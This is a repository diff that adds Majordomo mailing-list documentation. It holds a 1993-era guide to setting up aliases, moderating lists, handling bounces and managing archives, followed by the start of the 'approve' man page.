:include:/usr/local/majordomo/lists/sample, sample-archive + owner-sample-outgoing: sample-owner + sample-archive: /usr/local/majordomo/archive/sample/sample + owner-sample-archive: sample-owner + sample-request: + "|/usr/local/majordomo/bin/wrapper request-answer sample" + owner-sample-request: sample-owner + + (There's a sample MMDF aliases file in the section "For MMDF + Systems", below.) + + The aliases are: + + - "listname-owner" (and "owner-listname", which points to it) is + the list owner, the person (or people) in charge of the list. A + lot of the other aliases can point to this one. + + As Chapter 2 explains, sendmail uses the "owner-xxx" aliases for + errors. Majordomo uses the "xxx-owner" aliases. (Actually, an + "xxx-owner" alias isn't used by Majordomo itself--but aliases + that Majordomo uses are set up to point to "xxx-owner".) + + - "listname" runs the "wrapper" program to set the correct + permissions. Then "wrapper" starts "resend" to send the message + to the list. (Brent wants to get rid of "wrapper" some day.) + + This is where the "resend" options are set (see the list above). + The alias ends with the distribution address (here, + "sample-outgoing"). + + Here's a useful trick from Brent Chapman. Some versions of + sendmail have a 256-character length limit for aliases. A + "resend" line with a lot of arguments can easily go over that + limit. To solve this, you can put all the "resend" arguments in + a file called "listname.resend". Set up the alias with + backquotes (grave accents) and "cat"--like this: + + sample: "|/usr/local/majordomo/bin/wrapper resend + `/bin/cat /usr/local/majordomo/lists/sample.resend` + sample-outgoing" + + When sendmail interprets the alias, it will be fairly short. The + shell will run "cat"--and replace the backquoted string with the + "sample.resend" file contents--after sendmail has finished + interpreting the alias. + + Another advantage of this is that the majordomo administrator can + change the list's "resend" configuration without editing the + system aliases file. + + - "listname-approval" is the person (or people) who approves + subscriptions to closed lists, subscriptions or unsubscriptions + at a different address, and mailings to moderated lists. This + can usually point to "listname-owner". + + - "listname-outgoing" is the actual list of people subscribed to + the list. The sendmail ":include:" directive reads the + subscribers list at the time a message is sent. If the list is + archived, add the name of the archive alias (like + "listname-archive") too. + + - Optional (I recommend it): By convention, many Internet mailing + lists have a subscription address of "listname-request". + Although your list doesn't use that address (it uses + "majordomo"), the "request-answer" program can answer mail sent + to that address. You may want to edit the "request-answer" + program to send a different message--for example, to give + information about places to get help and information (local + addresses, phone numbers, etc.) at your company. + + - Optional: The "new-list" script can answer mail sent to the list + for the first few days. The message asks people to wait to post + messages for a few days until most subscribers have joined the + list. "new-list" also returns the sender's message. + + To install "new-list", "comment out" the "listname" alias and put + "new-list" in its place temporarily: + + # sample: "|/usr/local/majordomo/bin/wrapper resend -p bulk -M 10000 + # -R -l Sample -f Sample-Owner -h foo.com.au -s sample-outgoing" + sample: "|/usr/local/majordomo/bin/wrapper new-list Sample" + + After a few days, the system administrator should install the + permanent list alias. The owner should send an announcement that + the list is "open for business." + + Most of the alias names starting with "owner-" tell sendmail where + to send errors caused by the corresponding alias. For example, if + there's a problem with the "sample-archive" alias, sendmail will + complain to "owner-sample-archive". These "owner-" aliases will + usually be easier to maintain if you point them to an overall alias + (like "owner-sample" or "postmaster") instead of a particular user + (like "jerry"). + + As before, if this sendmail alias file is shared by more than one + host, and they won't all be running the same Majordomo setup, there + are tips in the section of Chapter 2 called "Problems with Your + Local Network". + +12. Make sure everything is owned by user "majordom", group "majordom", + and writable by both owner and group (that is, mode 664 for files + and mode 775 for directories). In a lot of cases, files and + directories don't need world access; you can use modes 660 and + 770. But check and test carefully; it's better to leave everything + world-readable unless you're sure things work okay without it. + + If you need to be very careful about permissions, think about how + each file will be read and written. Many files are accessed by + programs invoked from "wrapper"; those files only need permission + for access by "wrapper"'s UID and GID. Files that will be written + by users logged on interactively (like the list administrator) may + also need write permission for the "majordom" group. Files written + directly from a sendmail alias (the list archive files) probably + need world write permission because of the variety of UIDs and GIDs + that sendmail may run as. + + +For MMDF Systems + +The examples in the steps above are for systems with the sendmail MTA. +Here are examples for systems that use the MMDF MTA. (Thanks to Morna +Findlay for these examples.) The leading name "majordom|" means the +"majordomo" and "sample" aliases will run as the user "majordom". This +is from the MMDF aliases file: + + majordomo: "majordom|/usr/local/majordomo/bin/wrapper majordomo" + owner-majordomo: jerry + majordomo-owner: jerry + +Now, for the sample mailing list, here are entries from the MMDF +"lists" file. In MMDF, mailing lists have their own channel: + + sample: sample-outbound@list-channel + sample-outbound: :include:/usr/local/majordomo/lists/sample + sample-request: "majordom|/usr/local/majordomo/bin/wrapper request-recording sample" + sample-approval: jerry + owner-sample: jerry + + +Making a Moderated List + +A list owner may want to approve every message before it goes to the +list. The list might distribute official company statements, or begin +to carry lots of inappropriate messages and "noise" that subscribers +don't want to see. One common reason is that people accidentally send +subscription requests to the list itself instead of to the "majordomo" +address. Having one person filter these out can potentially save +thousands of people from wasting time on them. (Also see the "resend +-s" and "-I" options.) + +To make a list moderated, add the options "-A" and "-a password" to the +list's alias (its "resend" command) in your system alias file. The +argument to "-a password" is the password that the list owner adds to a +message header to approve an article: + + Approved: BigSecret + +The revised list entry in the sendmail aliases file would look like: + + sample: "|/usr/local/majordomo/bin/wrapper resend -p bulk + -A -a BigSecret + -M 10000 -R -l Sample -f Sample-Owner + -h foo.com.au -s sample-outgoing" + +Like other Majordomo features, this isn't especially secure. If your +system's sendmail has a VRFY command, anyone can find the list +password. Also, the list owners can't change their article approval +password unless you (the system administrator) edit the system alias +file. An easy fix is to give the full pathname of a file, starting +with a slash (/), as the argument to the "-a" option. In the example +below, "resend" will read in the subscription approval password (from +the list's "sample.passwd" file): + + sample: "|/usr/local/majordomo/bin/wrapper resend -p bulk + -A -a /usr/local/majordomo/lists/sample.passwd + -M 10000 -R -l Sample -f Sample-Owner + -h foo.com.au -s sample-outgoing" + +Of course, you could use a different password file (instead of the list +subscription password). The advantage of using the list subscription +password for article approval is that the list owner can change both +passwords by e-mail. + +**NOTE** As mentioned before, the "-a" password isn't just used for +moderated lists. It's used to approve any message that "resend" +bounces because of things like administrivia ("-s" flag) and length +("-M" flag). + +To find out how to approve a message, see the section "Managing the +Lists", below. + + +Testing Your Installation + +You should have set up at least one list by now. A nice way to test +majordomo is with the sendmail "-v" ("verbose") switch; it shows you +what's happening. + +In case something is set up wrong, it's a good idea to have a superuser +shell ready to do some fast cleanup. + +1. Send a test "help" message to majordomo. I found a permission + problem right away: + + % echo help | /usr/lib/sendmail -v majordomo + majordomo... aliased to "|/usr/local/majordomo/bin/wrapper majordomo" + "|/usr/local/majordomo/bin/wrapper majordomo"... Connecting to via prog... + shlock: open(">/usr/local/majordomo/shlock4344"): Permission denied + at /usr/local/majordomo/bin/shlock.pl line 131, <> line 1. + shlock: open(">/usr/local/majordomo/shlock4344"): Permission denied + at /usr/local/majordomo/bin/shlock.pl line 131, <> line 1. + (error message repeated every second or so) + + Because I had a superuser shell ready, it was easy to kill the perl + process running on that terminal. I deleted the queued message from + the /usr/spool/mqueue directory, fixed the permission problem (the + home directory wasn't group-writable), and tried again. (One of + this book's reviewers told me that his system required all files be + owned by "daemon". He also had to make "daemon" the W_UID in his + Makefile. I don't see why, but there are a lot of systems out + there; this tip might help you too.) + + Majordomo sent me a help message: + + From Owner-Majordomo@ora.com Mon Aug 2 11:36:15 1993 + Date: Mon, 2 Aug 93 11:36:13 PDT + To: jerry + From: Majordomo@ora.com + Subject: Majordomo results + Reply-To: Majordomo@ora.com + + >>>> help + ... + Commands should be sent in the body of an email message to + "Majordomo@ora.com". + + Commands in the "Subject:" line NOT processed. + + If you have any questions or problems, please contact + "Owner-Majordomo@ora.com". + + Check the addresses in that message to be sure they're right. + +2. I tested the "request-answer" program by mailing to "sample-request" + (my test list was named "sample"): + + % echo help | /usr/lib/sendmail -v sample-request + ... + + Again, I checked the addresses in the returned message. In this + message and the one before, the envelope sender (shown in the "From + " or "Return-Path:" lines) should be one of the Majordomo aliases: + + From sample-request Mon Aug 2 11:41:26 1993 + Return-Path: + + That's because the "wrapper" program runs as "daemon" (or, on POSIX + systems, as "root")--and those users are on the trusted user list in + the sendmail configuration file (/etc/sendmail.cf): + + T root daemon uucp + + The trusted user settings aren't something to experiment with. If + you're having trouble getting the right envelope sender address, + check a reference for your MTA. (The Nutshell Handbook "sendmail" + should be a help if you use that MTA.) + +3. Next, be sure that your system's MTA is configured right to send + mail across a network. Go to another account on another computer, + send mail to "majordomo", then check the return addresses in the + message headers. You might ask a friend at another company to do + the same thing. + +4. Subscribe to the sample list. (I did it from another computer.) + + You should get a welcome message and a "Majordomo results" message: + + From Owner-Majordomo@ora.com Mon Aug 2 15:22:28 1993 + Date: Mon, 2 Aug 93 12:24:42 PDT + To: jerry@foobar.ora.com + From: Majordomo@ora.com + Subject: Welcome to sample + Reply-To: Majordomo@ora.com + + Welcome to the sample mailing list! + + If you ever want to remove yourself from this mailing list, send the + following command in email to "Majordomo@ora.com": + + unsubscribe sample jerry@foobar.ora.com (Jerry Peek) + + Here's the general information for the list you've subscribed to, in + case you don't already have it: + + ...you should get a copy of the sample.info file here... + + From Owner-Majordomo@ora.com Mon Aug 2 15:22:30 1993 + Date: Mon, 2 Aug 93 12:24:41 PDT + To: jerry@foobar.ora.com + From: Majordomo@ora.com + Subject: Majordomo results + Reply-To: Majordomo@ora.com + + >>>> subscribe sample + Succeeded. + +5. Look at the log file; be sure these transactions are being logged. + +6. Send a message to the sample list: + + % /usr/lib/sendmail -v sample@ora.com + Subject: test message to sample list; will this make a log file? + + Hi, folks. + ^D + ...watch the transaction... + + And look at the message sent to the list. + + From Sample-Owner@ora.com Mon Aug 2 15:27:12 1993 + From: Jerry Peek + Date: Mon, 2 Aug 1993 12:26:58 EDT + To: sample@ora.com + Subject: test message to sample list; will this make a log file? + Sender: Sample-Owner@ora.com + Precedence: bulk + + Hi, folks. + + Be sure that the message is going into the list archive file, if + any. + + If you're planning to set up the "new-list" script, "comment out" + the list's current "resend" alias (add a "#" before it) and set up + "new-list". Test it to be sure you get a reply. + +7. If the list is closed, private, or moderated, check whether those + features are actually working. Test the list owner's account to be + sure mail gets there--including mail about the routine subscriptions + and unsubscriptions. + + Try sending a message from some other account to unsubscribe you. + Your request should be forwarded to the list owner unless you + created a "listname.auto" file. + +8. Try the "newinfo" and "passwd" commands from the list owner + account. (See "Majordomo Commands for List Owners", below.) The + corresponding files in the list directory should be updated. + +9. If you've made a list archive, there should be a file in it by now. + Get a listing of the archive and a copy of the file: + + % /usr/lib/sendmail -v majordomo + majordomo... aliased to "|/usr/local/majordomo/bin/wrapper majordomo" + index sample + get sample archive + ^D + "|/usr/local/majordomo/bin/wrapper majordomo"... Connecting to via prog... + "|/usr/local/majordomo/bin/wrapper majordomo"... sent. + + If you didn't see any errors, you should get two mail messages. One + is a copy of the file; the other holds the results of the majordomo + session: + + Return-Path: + To: jerry + From: Majordomo@ora.com + Subject: Majordomo file: list 'sample' file 'archive' + Reply-To: Majordomo@ora.com + + -- + + >From Sample-Owner Mon Aug 2 12:37:46 1993 + Received: by ora.com (5.65c/Spike-2.1) + id AA05037; Mon, 2 Aug 1993 12:35:17 -0700 + + ...copy of messages from the list... + + Return-Path: + To: jerry + From: Majordomo@ora.com + Subject: Majordomo results + Reply-To: Majordomo@ora.com + + -- + + >>>> index sample + SIZE DATE NAME + 5383 Sep 6 01:58 archive + >>>> get sample archive + List 'sample' file 'archive' + is being sent as a separate message. + + +MANAGING THE LISTS + +Majordomo makes day-to-day operation of a mailing list easier, but +there are still things to do. If your mailing lists are open (anyone +can subscribe) and unmoderated (anyone can post), you'll get fewer +messages, but you should still expect some. + +When mail (a subscription, unsubscription, or an article intended for a +moderated list) needs approval, majordomo sends the message to the list +owner(s). Any list owner (and in fact, anyone who knows the list +password) can send an approval message back to Majordomo to approve the +request. + +A "list owner" is the person (or people) listed on the +"listname-approval" alias in your system aliases file. (For sendmail, +that filename is usually /usr/lib/aliases or /etc/aliases.) + +Note that Majordomo lets you put different people on the +"listname-approval" and "listname-owner" aliases. If you split those +duties between two different people, keep that in mind as you read the +sections below. I've assumed that all list messages needing action go +to a single "list owner." + + +A List Owner's Account + +All a list owner needs is to be able to send and receive e-mail. The +owner doesn't need to have login access to the system where the list is +handled. + +The list owner doesn't even need to be on a UNIX system, although +majordomo comes with some UNIX scripts that make life easier for the +list owner. + + +Majordomo Commands for List Owners + +The requests for users can also be used by list owners. But there are +three more password-protected commands just for list owners. These +aren't mentioned in Majordomo's help file. If the owner doesn't have +an account on the machine where Majordomo runs, these commands allow +routine housekeeping via e-mail: + +- approve password subscribe/unsubscribe list address" + + Subscribe or unsubscribe someone from the list "list". For + example: + + approve !BooM! subscribe donut-makers Bob Baker + approve !BooM! unsubscribe donut-makers john.dough@bakers.org + +- passwd list old-password new-password + + Change the subscription approval password for "list" from + "old-password" to "new-password". Remember that this password is + stored, unencrypted, on the computer running Majordomo. Don't use + your login password! + +- newinfo list password + + Change the text in the "listname.info" file (the text a user + receives when they mail an "info" command or subscribe to the + list). The text is taken from the rest of the mail message until a + line with the three upper-case letters "EOF" at the start. + + Majordomo version 1.90, which should be out by the time this book is + printed, has a few new commands for list owners: (Thanks to John + Rouillard for this summary.) + +- config list password + + E-mails a copy of the configuration file for "list" to the owner. + The owner can edit the configuration file and send it back with + "newconfig". + + newconfig list password + ...config file contents here... + EOF + + The "newconfig" command installs a new configuration file for + "list". After you type the "newconfig" command, the rest of the + mail message should be a copy of the new configuration file. + +- writeconfig list password + + Rewrites the configuration file into standard form--including all + documentation in the configuration file. + +- mkdigest list password + + Force a digest to be generated for "list". + + +Approving Subscriptions and Moderating with "approve" + +The list owner will receive three types of mail messages from +Majordomo: + +- For subscriptions that need approval, you'll get a message with + APPROVE in the subject line. For closed lists all subscriptions + need approval. For open lists, approval is necessary only for + subscriptions where the subscriber specifies an e-mail address other + than their own. + +- For moderated lists, or for other messages that "resend" rejects, + you'll get a message with BOUNCE in the subject line. The subject + will tell you the reason for the bounce, and the body will contain + the whole bounced message. You decide whether this message is + appropriate to be sent to all the subscribers. + +- Reports of successful subscriptions and unsubscriptions. + +Majordomo includes "approve", a Perl script for making these chores +easier. For subscription requests, "approve" sends an e-mail message +back to "majordomo" indicating that the subscription should be +accepted. For messages submitted to moderated lists, "approve" adds an +"Approved:" header and re-sends the message to the list. The next two +sections show how to do these things manually in case the list owner is +on a system where "approve" (or Perl) can't run. They also show the +e-mail messages that fly back and forth. + +"approve" can be run either on the machine where majordomo is running +or on a remote machine where the list owner is managing the list by +e-mail. The "approve" script assumes that the Perl interpreter is in +/usr/local/bin/perl. If Perl is somewhere else, the first line of the +"approve" script should be edited to the path for that system: + + #! /usr/local/bin/perl + +"approve" uses a file named ".majordomo" (the name starts with a dot) +in the owner's home directory. It has an entry for each of the owner's +lists: the list name, list password and e-mail address of its +Majordomo server. There's a tab character (NOT space characters) +between the three fields in each line. For example, this is the +".majordomo" file for the owner of the "donut-makers" and +"mud-wrestlers" mailing lists: + + donut-makers !BooM! majordomo@bakers.org + mud-wrestlers GoJoan majordomo@foo.bar.com + +For security, it's a good idea to protect the file from other users. +Use a command like "chmod 600 .majordomo". + +To approve a request, feed the original approval-request message from +Majordomo to the "approve" script. Messages can be saved in separate +files, one per message, and named on the command line: + + % approve file1 file2 etc. + +Messages can also be fed to the standard input of "approve". For +example, in MH mail, where the "show" command displays a message: + + % scan 32 + 32+ 09/05 Majordomo@bakers.o APPROVE donut-makers<<-- postmaster@yu + % show | approve + +Or in "mush", the Mail User's Shell: + + ... + > 32 Majordomo@bakers.org Sep 5, (29/804) "APPROVE donut-makers" + ... + Msg 32 of 78: pipe approve + +The command in the Berkeley "mail" program is simply a vertical bar +(|). (For other mailers, check your documentation or help screen.) + + +Approving Subscriptions without "approve" + +It's possible that a list owner may be using a PC or some other system +where the "approve" script won't work. In that case, everything that +"approve" does can be done manually. This section and the next may +also be useful for those who want to know what "approve" does in more +detail. + +If someone sends a non-routine subscription to "majordomo", the server +sends a message to the list owner. There are two kinds of non-routine +subscription. One is when the person sends a subscribe/unsubscribe +command with a different e-mail address than their own. The other is +if the list is "closed"--that is, when the owner must approve all new +subscriptions. + +For example, the system postmaster at a bakery might want to set up a +list exploder (see Chapter 2) for the "donut-makers" mailing list. She +adds an exploder named donut-makers-dist@yummybake.com and sends this +mail to the Majordomo server: + + From: postmaster@yummybake.com + To: majordomo@bakers.org + + subscribe donut-makers donut-makers-dist@yummybake.com + +When Majordomo gets the message, it sees that the subscription address +isn't the same as the sender's address. So it sends the following mail +message to the list owner: + + From Owner-Majordomo@bakers.org Sun Sep 5 08:56:09 1993 + To: donut-makers-approval + From: Majordomo@bakers.org + Subject: APPROVE donut-makers + Reply-To: Majordomo@bakers.org + + -- + postmaster@yummybake.com requests that you approve the following: + + subscribe donut-makers donut-makers-dist@yummybake.com + + If you approve, please send a message such as the following back to + Majordomo@bakers.org (with the appropriate PASSWORD filled in, of course): + + approve PASSWORD subscribe donut-makers donut-makers-dist@yummybake.com + + If you disapprove, do nothing. Thanks! + + Majordomo@bakers.org + +If an owner doesn't want to apprive the subscription request, I suggest +that he not just "do nothing." If a subscription is rejected, it's a +good idea to reply and explain why. Otherwise, the subscriber will +probably write to ask because she already got a message like this: + + From Owner-Majordomo@bakers.org Sun Sep 5 08:56:09 1993 + To: postmaster@yummybake.com + From: Majordomo@bakers.org + Subject: Majordomo results + Reply-To: Majordomo@bakers.org + + -- + >>>> subscribe donut-makers donut-makers-dist@yummybake.com + Your request to Majordomo@bakers.org: + + subscribe donut-makers donut-makers-dist@yummybake.com + + has been forwarded to the owner of the "donut-makers" list for approval. + This could be for any of several reasons: + You might have asked to subscribe to a "closed" list, where all new + additions must be approved by the list owner. + You might have asked to subscribe or unsubscribe an address other than + the one that appears in the headers of your mail message. + When the list owner approves your request, you will be notified. + + If you have any questions about the policy of the list owner, please + contact "sample-approval@bakers.org". Thanks! + + Majordomo@bakers.org + +As the message to the list owner explained, the owner can approve the +subscription by mailing an "approve" command to the majordomo server: + + From: owner-name@owner-address + To: Majordomo@bakers.org + + approve !BooM! subscribe donut-makers donut-makers-dist@yummybake.com + +(where "!BooM!" is the list password). + + +Moderating Lists without approve + +This section describes how to moderate messages manually if you can't +use "approve". It also shows the messages that get passed between the +list owner and Majordomo. + +Here's a message that the "donut-makers" list owner just received: + + Date: Sun, 5 Sep 93 22:17:34 PDT + To: Donut-makers-Owner@bakers.org + From: Donut-makers-Owner@bakers.org + Subject: BOUNCE Donut-makers@bakers.org: Approval required + + >From elliek@hearthbake.com Sun Sep 5 22:17:29 1993 + Date: Sun, 5 Sep 93 22:17:29 PDT + From: elliek@hearthbake.com (Ellie Katella) + To: donut-makers@bakers.org + Subject: jelly donuts + + What's your favorite recipe for jelly donuts? Thanks. + +If the owner doesn't want to approve the message, it's courteous to +mail a note to the original sender and explain why. (Maybe Ellie +should read the "donut-makers" "Frequently-Asked Questions" list.) + +There are a few ways to tell Majordomo (actually, the "resend" script) +to send an approved message. The easiest is the "approve" script. +Otherwise, the owner should send mail to the list address (in this +case, to Donut-makers@bakers.org). The owner adds a line like this to +the approved message header--or on the line before the approved +message: + + Approved: password + +There are two ways to do that: + +- On a mail system like MH that lets people modify the mail message + header, send the approved message to the list address as a new + message. Add the "Approved:" header at the top. (Delete headers + like "Date:"; leave "From:", "To:", and "Subject:".) For example: + + Approved: BigSecret + From: elliek@hearthbake.com (Ellie Katella) + To: donut-makers@bakers.org + Subject: jelly donuts + + What's your favorite recipe for jelly donuts? Thanks. + + When the "Approved:" header appears with the message headers, these + message headers will be used when the message is sent to the list. + Compare that to the second method below. + +- Majordomo 1.60 added a new way to approve messages that's handy for + owners who can't modify their mail headers. Send a new mail message + to the list address. Start the message body with the "Approved:" + line. Next, read in a copy of the approved message. Delete any + useless headers and send it. + + For example, in the Berkeley "mail" command: + + ... + N 17 Donut-makers-Owner Sun Sep 5 22:17 23/733 BOUNCE Donut-makers + ... + & mail donut-makers@bakers.com + Subject: + Approved: BigSecret + ~f 17 + Interpolating: 17 + (continue) + ~v ...editor starts... edit the headers... + (continue) + ~p ...shows message you've edited... + ------- + Message contains: + To: donut-makers@bakers.org + + Approved: BigSecret + Date: Sun, 5 Sep 93 22:17:29 PDT + From: elliek@hearthbake.com (Ellie Katella) + To: donut-makers@bakers.org + Subject: jelly donuts + + What's your favorite recipe for jelly donuts? Thanks. + (continue) + ^D ...sends message... + & + + In this second method, the message sent to the list will contain the + headers below the "Approved:" line. + Headers above the "Approved:" won't be used. + +Either way, Ellie's message will go to the list with no trace of the +password: + + From Donut-makers-Owner@bakers.org Sun Sep 5 23:40:22 1993 + Date: Sun, 5 Sep 93 22:17:29 PDT + From: elliek@hearthbake.com (Ellie Katella) + To: donut-makers@bakers.org + Subject: jelly donuts + Sender: Donut-makers-Owner@bakers.org + Precedence: bulk + + What's your favorite recipe for jelly donuts? Thanks. + + +Bounced Mail and the Bounces List + +List owners will get familiar with messages like these: + + Return-Path: + Date: Sun, 10 Oct 93 13:24:11 EDT + From: MAILER-DAEMON@mukluk.ice.ca (Mail Delivery Subsystem) + Subject: Returned mail: Cannot send message for 3 days + Message-Id: <9310101724.AA20948@mukluk.ice.ca> + To: listown@online.ora.com + + ----- Transcript of session follows ----- + 421 tuna.ice.ca: Host tuna.ice.ca is down + + ----- Unsent message follows ----- + Received: from online.ora.com by mukluk.ice.ca (4.1/4.7) + id for shh@tuna.ice.ca; Thu, 7 Oct 93 13:05:22 EDT + Received: by online.ora.com (5.65c/Spike-2.1) + id AA13466; Thu, 7 Oct 1993 10:13:03 -0400 + Date: Thu, 7 Oct 1993 10:13:03 -0400 + ... + +If your lists will be busy, you'll probably want to set up a special +list named "bounces". It's a list for subscribers of other lists whose +mail starts bouncing. The address of the subscriber is removed from +the list they used to belong to and added to the "bounces" list. A +cron job runs the "bounce-remind" script every night to send mail to +all the people with bad addresses. The mail's "From:" address and +envelope sender are set to "nobody", a user on your system whose mail +goes to /dev/null. (The /dev/null file is actually a "black hole." +Text written there disappears; it's thrown away.) + +If the mail gets through to a subscriber, the subscriber will find out +what has happened and how to fix it. If the problem isn't fixed after +a while (usually, a month or so), the list owner can review the +"bounces" subscriber list and remove the hopeless cases. + +To set up the "bounces" list: + +1. Make sure that the "nobody" user exists on your system. There + should also be a mail alias for "nobody" pointing to /dev/null: + + nobody: /dev/null + + If your system doesn't have that user and can't create it, you can + get by. Make a mail alias that has an obvious name ("trashcan", + "dustbin", "nothing", etc.) pointing to /dev/null; use it in the + setup below. + +2. Follow the steps in the section "Creating a New List" to make the + "bounces" list. Here's the main entry for "resend": + + bounces: "|/usr/local/majordomo/bin/wrapper resend -p junk + -l Bounces -f nobody -h foo.com.au -s bounces-outgoing" + + The priority "junk" helps stop mail bounces. + +3. Check the "bounce-remind" script to be sure that the path to the + Perl interpreter on the first line is correct. Take a quick look + through the script. + +4. Make a crontab entry to run "bounce-remind" once a night. + +5. Help list owners set up their accounts with the "bounce" script. + Remember that the owners' ".majordomo" files need an entry for the + "bounces" list as well as the other lists. + +Bounced messages come in so many different formats that it's hard to +completely automate subscriptions to the "bounces" list. (In fact, in +some cases, the addressee of the bounced mail won't even be shown in +the message!) If the list owner's system can run a Perl script, the +"bounces" script makes the job easy. The script works differently than +"approve". The script doesn't read a message from a file or standard +input. Instead, it reads its command line arguments: + + % bounce listname user@xyz.com + +That command would unsubscribe the address user@xyz.com from the +"listname" list and add them to the "bounces" list. An owner who can't +run the "bounce" script can send mail to Majordomo with two commands +like these: + + approve passwdA unsubscribe listname user@xyz.com + approve passwdB subscribe bounces user@xyz.com (931005 listname) + +The first command unsubscribes the user from the current list. The +second one subscribes the user to the "bounces" list, with a comment +that shows the date and the name of the list they used to belong to. + + +The Majordomo Log File + +Majordomo keeps a log file. The file's pathname is set in the $log +variable in your majordomo.cf file. It's a good idea to read the file +every day or two. + +When Majordomo is busy (such as after you've added a new list), you may +want to run "tail -f" to watch messages as they're being added to the +log. Clean it out periodically. I've found it useful to keep +compressed copies of old log files for reference. + +The log file won't give you much help with security problems. (As +Brent has made clear, security wasn't one of Majordomo's main goals.) +Transactions are logged with the "Reply-to:" or "From:" address in the +mail message header. For example, you can send a message like this: + + Reply-to: John Doe + From: Your-real-name + To: majordomo@bakers.org + + passwd donut-makers oldpassword newpassword + +This is what will be logged (and it will be "FAILED" only if the old +password was incorrect): + + Sep 05 21:06:31 bakers majordomo[27604] {johndoe@nowhere.org} + FAILED passwd donut-makers OLD NEW + +There's no trace of the original sender or any way to see the "OLD" +password he tried. One way to track messages like these is by reading +your system MTA log file. Another is by making duplicates of all mail +sent to "majordomo". For instance, the following alias would send a +copy of all majordomo requests to "owner-majordomo": + + majordomo: owner-majordomo, "|/usr/local/majordomo/bin/wrapper majordomo" + +Of course, on a busy system, the person who is "owner-majordomo" +will get a lot of mail; a mail filter program like "procmail" can store +that mail and help to sort out the messages you might really want to +see. (You can get "procmail", by Stephen R. van den Berg, from many +anonymous FTP sites.) Instead of a mailbox address, you can also give +the absolute pathname of a log file. Note that, in many cases, the +file will need to be world-writable (mode 622 or 666). + + +Managing the Archives + +An archive is a file containing messages that previously appeared on +the mailing list. You can create an archive simply by putting an entry +in the system MTA alias file as described in the section "Creating a +New List". + +A list's archive will keep growing forever until you truncate or split +it. It's a good idea to split the file once in a while. Otherwise, +people who "get" it can receive a HUGE mail message. (Worse, some +mailer may truncate the file or refuse to send it.) + +Majordomo doesn't come with fancy archive management tools. The +Majordomo distribution comes with a Perl script named +"split_archive.pl"--it's in the "Tools" subdirectory. It splits an +archive file into separate files, one per message, named 0001, 0002, +and so on. + +You can also put any ASCII file in the archive, and set up a directory +hierarchy. But you need to do this by hand. For example, if you want +majordomo to mail files that contain non-text characters, you'll need +to pre-process the files with a utility like "uuencode" or "btoa". + +If your site has an anonymous FTP area, you can set Majordomo to store +your archives there. You can also configure the majordomo.cf file to +handle "get" commands by mailing requests to an ftpmail server. (See +the section "Installing Majordomo".) To do that, define the variables +$ftpmail_address (and, optionally $ftpmail_location--the default is the +local host) in the majordomo.cf file. The ftpmail setup assumes that +the FTP archive is structured the same way as your local archive +directory. It uses the pathname $filedir/listname$filedir_suffix for +the archive directory, then issues an FTP "get" command for the file +specified. + + +Disabling Majordomo Temporarily + +Once Majordomo is running on your system, how do you do maintenance? +It's always active because mail aliases will start the program +anytime. If you make a mistake in your maintenance, mail can start to +bounce. One way is to shut off your system's sendmail daemon, but that +affects all mail on your system. + +An easier way is to make a small "stub" shell script named +"majordomo.hold": + + #! /bin/sh + exit 75 + +Make that file executable with "chmod 755 majordomo.hold". Then +quickly (so there's less chance of causing incoming mail to bounce) +swap the "majordomo" Perl script and your "majordomo.hold" script: + + % mv majordomo majordomo.tmp && mv majordomo.hold majordomo + +(The shell's "&&" operator lets you type both command lines before +executing either of them. It does the second "mv" command only if the +first one succeeds.) When mail comes in, sendmail will run your little +script, which will return an exit status of 75. This special status +makes sendmail defer (queue) the incoming message and try to deliver it +to "majordomo:" again later. When you're done with your maintenance, +swap the script with the real "majordomo" script and mail will be +processed again. (Special exit statuses like 75 are listed in the file +/usr/include/sysexits.h.) + +The same thing works with "resend"; disabling it will disable all of +the lists. + +Note that your sendmail may convert pathnames of commands run by +deferred messages to all lower-case letters. This problem may only +bite you after you defer messages. For example, if your "resend" alias +starts like this: + + sample: "|/usr/local/majordomo/bin/wrapper resend + -A -a /usr/local/majordomo/Lists/Sample.passwd + +The "L" and "S" in that pathname may be changed to "l" and "s" when the +message is deferred. If they are, "resend" won't be able to find the +password file. The fix for this problem is to either change your +sendmail.cf file or make all your file and directory names with only +lower-case letters. diff --git a/update/scripts/packages/majordomo-1.94.5/Doc/man/approve.1 b/update/scripts/packages/majordomo-1.94.5/Doc/man/approve.1 new file mode 100644 index 0000000..48a4bd9 --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/Doc/man/approve.1 @@ -0,0 +1,137 @@ +'\" t +.TH APPROVE 1 +.SH NAME +approve \- approve a Majordomo request +.SH SYNOPSIS +.B approve [filename] +.SH "DESCRIPTION" +.B approve +automates the task of replying to an approval request from Majordomo. Input +is the e-mail message containing Majordomo's request, read from +.IR filename , +or read from standard input if no filename is specified. +.PP +.B approve +currently understands two types of requests; those requesting +subscription to a +.I closed +list, and those which bounced due to a lack of permission to post to a +moderated, or +.IR private , +mailing list. +.B approve +reads the body of the message from Majordomo to determine the appropriate +action. Assuming a message containing a subscription request like the +following: +.sp 1 +.RS 3 +From: Majordomo@This.COM +.sp 0 +To: this-list-approval@This.COM +.sp 1 +Joe User requests you approve the following: +.sp 1 +.RS 3 +subscribe this-list Joe User +.RE +.sp 1 +If you approve, send a line such as the following to Majordomo@This.COM: +.sp 1 +.RS 3 +approve PASSWD subscribe this-list Joe User +.RE +.RE +.sp 1 +then running +.B approve +on the message by saving it in a file, e.g., +.sp 1 +.RS 3 +approve /tmp/request +.RE +.sp 1 +or +.sp 1 +.RS 3 +approve < /tmp/request +.RE +.sp 1 +will result in the following reply to Majordomo: +.sp 1 +.RS 3 +To: Majordomo@This.COM +.sp 1 +approve PASSWD subscribe this-list User@Fubar.COM (Joe User) +.sp 1 +.RE +If +.B approve +is on the user's path, then it's possible to execute it via a shell escape, +piping the current message to +.B approve +from a mail program, e.g., +.sp +.RS 3 +!approve +.RE +.sp +would +.I approve +the current message in /usr/ucb/Mail. +.PP +If, in the latter case, the "Subject:" line of the request from Majordomo is +"BOUNCE : ", the message is treated as a posting rejected by +.B resend +for some reason, and is reformatted with appropriate "Approved:" headers to +cause it to succeed, and then it is resubmitted to Majordomo for posting. +This provides an easy mechanism for the moderator of a mailing list to +approve postings to the list. +.SH CONFIGURATION +.B approve +assumes that the +.I approve +password for each list is the same as the +.I approval +password used by +.BR resend , +and that this password is stored +in a file called +.I .majordomo +in the user's home directory. The file has the following format: +.RS 5 +.TS +l l l . +.sp +this-list passwd1 Majordomo@This.COM +other-list passwd2 Majordomo@Other.GOV +.sp +.TE +.RE +The first column specifies the name of the mailing list, the second column +specifies the list-owner's password for the given list, and the third column +specifies 